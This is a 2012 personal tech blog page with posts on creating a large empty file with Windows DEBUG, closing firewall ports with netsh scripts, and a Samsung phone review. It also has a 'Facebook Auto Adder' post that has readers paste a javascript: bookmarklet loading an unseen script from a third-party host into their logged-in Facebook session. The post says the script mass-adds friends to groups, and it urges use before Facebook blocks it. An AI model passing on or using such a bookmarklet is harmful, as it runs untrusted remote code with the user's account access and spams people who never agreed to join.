Sunday, 9 September 2012

Trick To Create A Empty Huge File



Yesterday somebody asked me that "Is it possible that a empty file can be huge as 1 million bytes.."?
So here's the answer.. :)

off course its possible.You can create a file of any desired size by using the utilities provided by Windows.
So here's the step by step guide to create a Empty Huge File.
  1. First we have to convert the desired file size into hexadecimal notation. You can use the Windows Calculator in Scientific mode do to this.To use Windows calculator in scientific mode Open calculator,click on view and select Scientific instead of Simple.

    Suppose you want a file of 1 million bytes.
    Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.)


    Pad the result with zeroes at the left until the file size reaches eight digits—000F4240.

  2.  Open Command prompt by typing "cmd" in Run.

  3. Type Command "Debug BIGFILE.DAT" without Quotes.And Ignore the File not found message.

  4. Type RCX and press Enter. Now Debug utility will display a colon prompt.
    Enter the last four digits of the hexadecimal number you calculated,For i.e: If your calculated Hex Code is 000F4240 Then you have to enter 4240.

  5. Type RBX and press Enter,Then Enter the First four digits of the hexadecimal number you calculated,For i.e: If your calculated Hex Code is 000F4240 Then you have to enter 000F.

  6. Enter W for Write and Q for Quit.

    You have just created a Empty file of 1 million bytes..You can create empty files of any size by following these easy steps.




Friday, 7 September 2012

How To Close Open Ports




As you know i am preparing for CEH (Certified Ethical Hacker) from several months.
Yesterday i found something interesting when reading the topics of Trojans from my CEH study material. Yeah you are right Trojans are backdoor programs that create a connection with the help of open ports many of us are suffering from Trojans.they are one of the dangerous weapon for hackers.

If a hacker install a Trojan on your computer then he can do anything with your computer while sitting to thousands of km far away from your computer.After a successful installation of Trojan hacker can use your computer as a Zombie computer and can do any kind of illegal work with your IP address Or even can able to delete your valuable data.

Today i will show you how to be keep yourself safe by closing open ports.
Ports are the Application specific End points which provide connections in a operating system.
when you are connected to internet each network process use a different port.
for yahoo messenger uses a different port,your browser uses a different port to establish a connection with network.

As we discussed about Trojans earlier,when a hacker installs a Trojan on your computer..he need a open port to create a connection from your computer to his computer.
To keep our self save from this kind of attacks we need to close our open ports.


I searched a lot in my CEH study material on "how to close a open port" but didn't succeed..then after decided to do it myself.

After 4 hours of consistent hard work i found a way by which we can able to close open ports..
To close open Ports..Here's The Procedure..
  1. Go To Start And Then Run.
  2. Type "netsh firewall delete portopening TCP PORTNUMBER" without Quotes and PORTNUMBER is the Number of your port which you want to close.
    if you want to close PORTNUMBER 8080 Then the command to close PORT 8080 is.
    netsh firewall delete portopening TCP 8080.
  3. Now Press enter and Your are done..


I also try to created VB Script and .bat file for both commands.

Vbs Script to close open ports..Just copy and paste below coding to notepad file and save as PortCloser.vbs

set ss = createobject("wscript.shell")
set ws = wscript
dim PORT
PORT = InputBox("Enter the port you wish to close:")
ss.run "netsh.exe"
ws.sleep 1000
ss.sendkeys "firewall delete portopening TCP " & PORT
ss.sendkeys "{enter}"
ws.sleep 500
'ss.sendkeys "exit"
'ss.sendkeys "{enter}"


.BAT Script to close open ports..Just copy and paste below coding to notepad file and save as
PortCloser.bat

@echo off
title Port Closer
echo Port Closer
echo.
set /p port=Type the port number you wish to close here:
netsh firewall delete portopening TCP %port%
msg /w * Port %port% has been closed.
exit


For any Queries regarding this..put your valuable comments..
Monday, 3 September 2012

Samsung Galaxy Y Duos Lite Review With Phone Specification


Samsung is now decided to expand its Galaxy y Duos family in India.Recently Samsung had announced that they are officially launching Samsung Galaxy Y Duos Lite on 5th of September 2012.And its really a good news for android lovers.
Pre-Booking of samsung Galaxy Y Duos Lite had been started and you can order that Samsung e-store on a minimal advance payment of INR 1000.

The best thing about Duos Lite is that its a dual sim Phone with lot of specifications and a best price in between
6000-7000.that clearly shows that Samsung is going to change according to marketing trend of Indian users.




Full Phone Specifications of Samsung Galaxy Y are As Follows:
  • Dual-SIM (GSM + GSM)
  • Google Android 2.3 (Gingerbread) Operating System.
  • 832MHz single-core processor.
  • 2.8-inch QVGA display With LCD Capacitive Touchscreen.
  • 2MP primary camera With micro sd card support.
  • Good Thin tough look.
  • 1200 mAh battery.
  • Wi-Fi Connectivity.
    If you are looking for a cheap android phone with lot of specifications and also with Samsung's brand name..then you have to consider this phone.
Sunday, 2 September 2012

Trick To Increase Facebook Group Member With Facebook Auto Adder JavaScript


Hello Friends..

Sorry for my inconsistency on Techwarlock,I was busy with my exams that's why didn't able to concentrate on blogging.
but belive me after my today's post you will forgive me for my inconsistency on blog posting.. :)

So,coming to the topic again today i will show you a cool java script by which you can easily able to increase your group members on facebook.This is really a cool javascript and i tried it on my group and got approx 150000 members in just one day..isn't it sounds cool..

So without taking much of your precious time..Here the process..
  1. First of all Make Sure Bookmark Bar is
    visible. If not visible then right click on the top of Firefox and select "Bookmarks Toolbar".
    This will make Bookmark Bar visible.

    http://techwarlock.blogspot.com/



    For Google Chrome Users Simply Press Ctrl+Shift+B

  2. Copy the following JavaScript & paste it on Bookmarks Toolbar as you can see in image below.
    javascript:(function(){document.body.appendChild(document.createElement('script')).src='http://alviarman2009.my3gb.com/script.txt';})();


    http://techwarlock.blogspot.com/


  3. This will create a bookmark "javascript:(function(){" in the bookmark bar.


    http://techwarlock.blogspot.in/

  4. Log In to Facebook
  5. And Go To any of the facebook group.
  6. Now Click the Bookmark that you made..
        This will start adding your friends in that Group

    http://techwarlock.blogspot.com/


    To get maximum members to your facebook group..Request all your group members or friends to do the same..


    This JavaScript is tested successfully on browsers like mozila firefox and google chrome..and works fine on them.
    if you are facing any problem with this javaScript Comment below..i will try my best to sort that out..

    start adding your friends to groups before facebook block this script.. :)

    enjoy!!